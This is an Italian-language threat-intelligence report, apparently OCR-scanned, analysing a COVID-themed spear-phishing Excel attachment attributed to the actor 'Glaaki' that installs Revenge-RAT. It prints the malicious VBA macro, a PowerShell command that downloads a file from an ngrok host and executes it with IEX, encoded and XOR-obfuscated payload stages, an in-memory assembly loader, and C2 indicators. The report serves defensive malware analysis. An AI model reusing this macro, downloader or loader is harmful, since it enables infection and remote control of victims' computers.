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Genesi

Un nuovo documento in formato excel dal nome “Corona virus documento
protetto.xls” e stato distribuito presumibilmente mediante una campagna di spear-
phishing. Il nome ed i dettagli del malware fanno leva sul tema molto sentito in Italia
riguardante il dilagarsi dell’infezione del virus COVID-19.

Assessment

Le attivita di analisi del CIOC di TS-WAY hanno individuato all’interno del
documento malevolo una macro che sfrutta diversi payload in Powershell al fine di
infettare le postazioni Microsoft Windows con il tool Revenge-RAT. La minaccia mira
specificamente ad un pubblico italiano. Le TTP in comune con altre campagne consentono di
ricondurre questa minaccia all’avversario Glaaki.

Questo report in breve
» Mail di spear-phishing in italiano riguardanti un documento riservato riguardante il
Coronavirus
* Allegati malevoli dotati di una macro
» Download del primo payload Powershell e salvataggio del file nella directory temp
e Esecuzione del primo stage e caricamento in memoria del payload Revenge-RAT
e Esecuzione del malware Revenge-RAT

Analisi Tecnica

La minaccia viene distribuita attraverso una campagna di phishing. A ciascun messaggio di
posta e allegato un documento Excel malevolo, all'apertura del quale viene richiesta una
password.

2 x|

'Corona virus docurmento protetto.xls' is protected.

Password: ||

OF Cancel
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INTELLIGENCE 2

Subito dopo viene mostrato il messaggio che induce I'utente ad abilitare la macro.

Questa versione di excel non permette la visualizzazione on line.Per visualizzarel
contenuto fare click su"Abilita modifica" e successivamente su "Abilita
contenuto” in alto a sinistra.

; Fare click per visualizzare il contenuto del documento-------- >Apri documento
!

La macro presente nel documento & la seguente:

Sub Click()

CreateObject("WScript.Shell").Run
(ActiveWorkbook.BuiltinDocumentProperties.Item("Title"))

MsgBox "Visualizzazione non disponibile su questa versione di Excel!",
vbCritical

Al click sull'immagine di decoy, viene eseguito il contenuto del titolo del foglio attivo, che si
presenta come una stringa Powershell:

powershell.exe -noexit -w 1 $K = New-Object Net.WebClient;
$p = $env:temp;$L = $p+'\h';
$K.DownloadFile('https://lec6b9e8.ngrok.]io/11"', $1);
IEX(get-content $env:temp\h| out-string)

Lo script si occupa di scaricare il file dall'indirizzo https://lec6b9e8.ngrok[.]io/11l e
di salvarlo nella path SHOMEDRIVE%\%HOMEPATH%\AppData\Local\Temp\h. Il dominio
lec6b9e8.ngrok[.]io appartiene al servizio di tunnelling NGROK fornito dal provider
mediante il piano free.

Una volta completata la fase di download, lo script ne esegue il contenuto.
Il file si presenta come un ulteriore script Powershell con una stringa contenente, in base64 e
cifrato mediante XOR, il payload del successivo stage.

$b

=[System.Convert]::FromBase64String("VRIRTFM1IwAgMDASMDAWMDQwWMDAWX15IMDAIFjA
wMDAwWMDAWMCAWMDAWMDAwWMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMDAWMBY
WMDAWMEUXBBZFMAUwHZz84EXYzJTxBGSc2GQESCDMGEhXIHXIcNwU4Nj 8 ZExXEBXxUyMxgrIjMIFSZ
FFhAmRRY jNEg1ODZABYs2JAQ1IEE60zAwMDAWMDAWMDMgIyAwMCUWNDUwWNQsnEgVIMDAWMDAWMDA
wMD4wMDgWMDOwJ TAwMD IeMDAwWMDgwMDAwWMDAWMBSs aF j AwMDAWMD AwMCgwMDAwWMDMwMDAWF j AwMDA
wF j AwMz AwMDAWMDAWMDAOMDAWMD AwMD AwMD IWMD AwMD AWMD AwWMDAWMDA4MCA4 JDAwMz AwMDMwMDA
wMDAOMDAWNDAWMDAWMDAWMZz AwMDAWMD AwMD AwMD AwMDUFODAwMY EWMDAWMDYwWMDA7B j cwMDAWMDA
wMDAwWMDAWMDAWMDAWMDAWMDAwWODAWMDAGMDAwWMyg j B j AwP j AwMDAwMD AwMD AwMDAwWMDAwWMDAWMDA
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wMDAwMDAwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwOD AwMD IwMD AwMD AwMDAwMD AwMDA
yMj AwMDQWMDAwMDAWMDAWMDAwWMDAYREE rKR1BMDAwWMBOY F j AwMDAWMD AwMD oWMDAwMD gwMDAWMDA
wMDAwWMDAWMDAWMDAYMDAwWN j AEEh8 / CCgGMDAwWOwWY 3MDAWMCgwMDAWMCgwMDAWA j AwMDAWMDAWMDA
wMDAwWMDAWMDMwMDA zMDO fOxOTNkgbMDAwWPDAWMDAwWODAWMDAWM j AWMDASF j AwMDAWMDAWMDAWMDA
wMDAwWMCAwWMDAQF j AwMDAwMD AwMDAwMD AwMDAwMD AwMwc iMDAwWMDAWMDAOF j AwMDAYMDAKMDcyBj A
wOAYQMDAwMZzAwMDAwWIDAwMwAZN j AwMkUwMDAwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMDAwMD AwMDA
wMDAwWMDAWMDAWMDAWMDAWMDAWMDAWMDA3RSReFigyMDAwWNhIJIDAWMAELNXYWMDIYFikwMDA60Ohk
CBjMgMCYwBjAwMCAwWMDQ j KB41MDAwMXx4wODAwWMDQ5QyAeNjAwMDIZEh42MDAWMh9FNzAWMDQ
+BzgwMDAwFhgzPDAwMhYoMDAwOhcWE j AWMCMHN1iAwMDIcSRAWMDA6QhYGHj YGMDAYGBYSMDAwWOKI
WMDAXFhIwMDAjBzkgMDAyBUU80jMCMDAwHh45MDAwWMgVFMDc4MDkwMDAOEGTFMDAWADAZBjAwMz 1
FOTAWMDQTCRowMDAeF j AWMCAWNKKkXMDAwOh cWE j AwMCMHNiAwMDIYMh40IDAwEwgwMDAwWAV0ZzBjA
wMzZJKzAwMD0o4MDAWNDAZzBzggMDAYHOUSMDAWNBMI G j AwMB4WADYOMDA2SRgwMDAGFXYSMDAwWIwC
2IDAWMh9FMzAwWMDQXF j gwMDAgH j gGMDAyHEkaMDAwO j dFMDcwMDAOO j IKMDAwWADAZF j AwMz LFODA
wMDQ6MCAWMDATFTReX15eCBYTMDAwWO j ceMDcwMDABO jMGMDAwAXVeB0ZeXgYwHj sgMDAYyFh4iMD1l
FNj AwMDQ6MigwMDAePTQWNB47Bj AwMhg8MDAWMDAWMDAKIDUVHDCIF jwwMDA20jAgMDAwWKB47IDA
wMh4wNj AwMDQ5Bh4eNjAwMDIYFh4wMDA6EwgaMDAwHh46F j AwMhgWPTAWMDY7BUU80jMCMDAwWHh4
5MDAwMgVFMBcWJIDAwWMCACODTFOTAWMDQTCRowMDAeKT ccSQMWMDAG60WVFPDozAjAwMB4e0TAWMDI
FRTBCGTgeNgYwMDIZEDAzIDAwWMzIWE jAwMDpCF j AwFXYSMDAwIwc2IDAwMhxJAjAwMDo9ICgmFjA
kMDAwJRQOGBYTMDAwO j ceMD cwMDAOO jMGMDAwWAXQwMDNaMwYwMDM2SQUwWMDAGN1VIPTAgMDA2HKE
GMDAwWMzUSRTkwMDAOEwkaMDAwHjg3Fhg

--snip- -

+ECMrBzOWMDAYGCg4NxgWBzAwMDoQFKkE7NxweXk IgMDAWMBpEQAYwWMDAwWG1ikQBQBCNOgQPzwwMDA
wIzwONxweJTMiBTgXFhIwMDAjBzOgMDAYGSgJPkJFOTAWMDQTCEEWMDABADQGKCMzIZz(Q2QBYaCTM
WGiMzFR41Mx9FOTAWMDQTCRowMDAeIzMzNDcFCTQ2BQkrBzOWMDAYGCgjMyMONKAZPDCcOICQ7PEY
/CzwwMDAYGTw5NCASI zMzKCMzOEQBEwWSs OMDAwHiMzQOKIMDAwWOhscGhc3JTw/MhgwFiEySEESHyc
LFTQdBCscSVo1lIB5JPUM3CxJDIwUoHALEIRYwMDAwWMDAwWMDAwWMDAwWMDAWMDAWMDAWMDAWMDAWMDA
wMDAwMDAwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMDA
wMDAwMDAwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMDAwWMDAwWIDA
wMDUwMDAwO zBFMDAwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMDAwMD AwMDA
wMDAwMDAwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMDA
wMDAwMDAwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMDA
wMDAwMDAwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMDA
wMDAwMDAwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMDA
wMDAwMDAwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMDA
wMDAwMDAwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMDA
wMDAwMDAwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD A
wMDAwMDAwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD A
wMDAwMDAwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD A
wMDAwMDAwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMDA
wMDAwMDAwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMD AwMDAWME XMU O p
8e3x7fHt8e3x7KhMIBRQqLCxVAgUQAWVRTFEqIggCBRQcXzIeHwcUAWUsSOs3Ax4cMxACFEdFIgU
DGB8WWVUSWEp8e3x7fHtVBLFMUS0iCAIFFBxfIJRkDFBAVGBBWXyUZAxQQFSxLSzYUBTUeHBAYH11
YXz0eEBVZVQIFEAMFWEp8e3x7 fHtVEXADFRBMUVUGXzQfBQMIIR4YHwVfGB8HHhoUWVUTBBOdXVU
fBBOdWEp8e3x7fHs=")

for($i=0;$i -1t $b.count;$i++){$b[$i]1=%$b[$i] -bxor 0Ox71}
IEX([System.Text.Encoding]::UTF8.GetString($b));

Il file decifrato si presenta come segue:

$c

="TVgQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAgAAAAA4fug4AtAnNIbgBTMOhVGhpcyBwecm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gREITIG
1vZGUUDQOKJAAAAAAAAABQRQAATAEDADZV ct8AAAAAAAAAAOAATgALATAAACOAAAATIAAAAAAAAT K
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Q
AAERY0ODAAABOATIAAAEH2Q0GAAAChcoGAAACN4FAAAEOVIAAAAgiBMAACGYAAAKTgCcAAARVGQAACT
8aAAAK3gwoGwAACigcAAAK3gAATgCAAARVHQAACt4MKBSAAAOOHAAACt4AFTAHAAAECX4AAAQABW
AABH4HAAAEbxkAAA0gAAAQAGBfAAAKTgCcAAARVGQAACiCoYQAAbYAAAAP+BwAABGBZAAAKTIAAAEA
BvIQAACN4HAAAEbxKAAA0gqGEAAG8iAAAKTgcAAARVGQAACN4BAAAETgIAAAQOIWAACM8KAAAKF4
AFAAAEKCUAAAQABgAABH4IAAAEKAQAAADbAE/ ///ygbAAAKFOAFAAAEKBWAAArd/v7//gAAAQAAAA
EABQAAAAAAAQAFAAAAPWAAAAAAAAAEAAAAAQAAAAAAAAAAAAAAAAAAAEQAAAABAFYAYQBYAEYAaQ
BsAGUASQBUAGYAbwAAAAAAJAAEAAAAVABYAGEAbgBzAGWAYQBOAGKAbwBUAAAAAAAAALAEDATAAA
EAUwWBOAHIAaQBUAGCARgBPAGWAZQBJIAG4AZgBvAAAASATAAAEAMAAWADAAMAAWADQAYgAWAAAAG
ABAAEAQwBVAGOADQBTAG4AdABzAAAAAAAAACIAAQABAEMAbwBtAHAAYQBUAHKATgBhAGOAZQAAAA
AAAAAAADgACAABAEYAaQBsAGUARABLAHMAYwBYAGKACABOAGKAbwBUAAAAAABLAG8ACgBVAG4AYQ
BWAAA
AMAATAAEARgBpAGWAZQBWAGUAcgBzAGKAbwBUAAAAAAAXAC4AMAAUADAALgATAAAAOAAMAAEASQB
UAHQAZQBYAG4AYQBsAE4AY(QBtAGUAAABLAG8AcgBVAG4AYQBWAC4AZQOB4AGUAAABIABIAAQBMAGU
AZwBhAGwAQwBvVAHAAe(QBYyAGKAZwBoAHQAAABDAGBACABS

--snip- -
AHIAaQBnAGgAdAAgAKKATAAgADIAMAAYADAAAAAQAAEAAQBMAGUAZWBhAGWAVABYAGEAZABLAGOA
YQByAGSACwAAAAAAAAAAAEAADAABAEBACgBpAGCcAaQBUAGEAbABGAGKAbABTAG4AYQBTAGUAAABL
AG8AcgBVvAG4AYQBWAC4AZQB4AGUAAAAUAACAAQBQAHIAbwBKAHUAYWBOAE4AYQBTAGUAAAAAAESA
bwByAG8AbgBhAAAAAAAOAAGAAQBQAHIAbwBKAHUAYWBOAFYAZQBYAHMAaQBVAG4AAAAXAC4AMAAU
ADAALgA1AAAAOAATIAAEAQQBzAHMAZ(QBtAGIAbABSACAAVgBTAHIACWBpAG8AbgAAADEALgAWACAA
MAAUADEAAACSYWAAGgEAAAAAAAAAAAAAT7u/PD94bWwgdmVyc21vbjO0iMS4wIiBlbmNvZGluZz0i
VVRGLTgiIHNOYW5kYWxvbmU9InllcyI/PgOKDQo8YXNzZW1ibHkgeG1lsbnM9InVybjpzY2hlbWFz
LW1pY3Jvc29mdC1ljb206YXNtLNYXxIiBtYW5pZmVzdFZ1lcnNpb2491jEuMCI+DQogIDxhc3N1bW]s
eUlkZW50aXR5IHZ1cnNpb2491 jEuMC4wLjAIIG5hbWU9IK15QXBwbGljYXRpb24uYXBwIi8+DQog
IDx0cnVzdEluZm8geGlsbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1ljb206YXNtLNYyIj4NCiAg===";

[byte[]]$start = [System.Convert]::FromBase64String($c);
$w = [System.Threading.Thread]::GetDomain().Load($start);
$barda= $w.EntryPoint.invoke($null, $null);

Quest’ultimo script contiene il binario del tool Revenge-RAT, la catena di esecuzione si
conclude con l"avvio del malware.
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Il tool e sviluppato in VB.NET e all’interno vi sono anche informazioni riguardanti il pdb
utilizzato durante la fase di debug.

C:\Users\Gianni\Desktop\CSharp\Revenge-RAT v0.0.3.5 BETABy NAPOLEO
N\REVRATO35beta\NewClient2\NewClient2\NewClient2\obj\Release\KoronaV.pdb

Una volta eseguito, il tool cerca di contattare il server C2 91.193.75[. 1155 sulla porta
8989.

Il server € esposto attraverso un IP appartenente al servizio VPN fornito dal provider “KGB*,
la cui architettura sembra poggiarsi su quella del provider di servizi dello stesso tipo
“nVpn[.]net”.

Eventi I0C

1. [1116962] Glaaki: Corona virus documento protetto.xls

Note

' Per maggiori informazioni riguardo le TLP si ' pregati di consultare
https://www.us-cert.gov/tlp

Contatti

intel@ts-way.com
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